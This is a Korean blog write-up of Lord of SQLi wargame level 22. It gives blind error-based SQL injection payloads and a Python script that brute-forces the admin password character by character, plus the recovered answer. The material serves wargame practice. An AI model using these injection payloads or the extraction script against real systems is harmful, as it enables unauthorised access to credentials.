본문 바로가기

웹/los

los 22번

los 22번입니다.

los 22번

필터링 조건을 보면 cas when 문과 if문 그리고 time based SQL injection에서 사용할 수 있는 sleep, benchmark 함수도 되어 있습니다. 이 문제도 union select를 이용한 error baed SQL injection을 이용해야 할 것 같습니다. 여기서 주목할 점은 에러가 발생할 경우 에러가 발생했다는 표시가 뜨지 않는다는 것입니다.

 

먼저 ?pw=' or id='admin' and (select 1 union select (length(pw)=n))%23 에서 n값을 바꿔가면 글자 길이를 확인했습니다. 삽질 결과

길이는 8이였습니다. 여기서 가져올 수 있는 조건문이면 에러가 발생하지 않기 때문에 에러가 발생하지 않고 정상적으로 실행된 pw의 길이를 찾으면 됩니다.

 

그리고 ?pw=' or id='admin' and (select 1 union select pw like '{}%25')%23 쿼리문을 이용해 비밀번호를 알아냈습니다. like를 통해 지금까지 알아낸 비밀번호+그 다음 비밀번호 한 자리로 시작하는 칼럼을 들고오는 형식의 쿼리문을 이용했습니다.

import requests

url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?'
header={'Cookie':'PHPSESSID=ailfrbcn3eqpjjr7ico7nv5ptc'}

ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~`"
pw=''
for i in range(1,9):
	for j in ch:
		query="pw=' || id='admin' and (select 1 union select pw like '{}%25')%23".format(pw+j)
		result=requests.get(url+query,headers=header)
		if "query" in result.text:
			pw += j
            		print "pw= {}".format(pw)
            		break

print pw

알아낸 비밀번호는 5a2f5d3c입니다.

정답 : ?pw=5a2f5d3c

' > los' 카테고리의 다른 글

los 24번  (0) 2020.12.19
los 23번  (0) 2020.12.19
los 21번  (0) 2020.12.16
los 20번  (0) 2020.11.29
los 19번  (0) 2020.11.28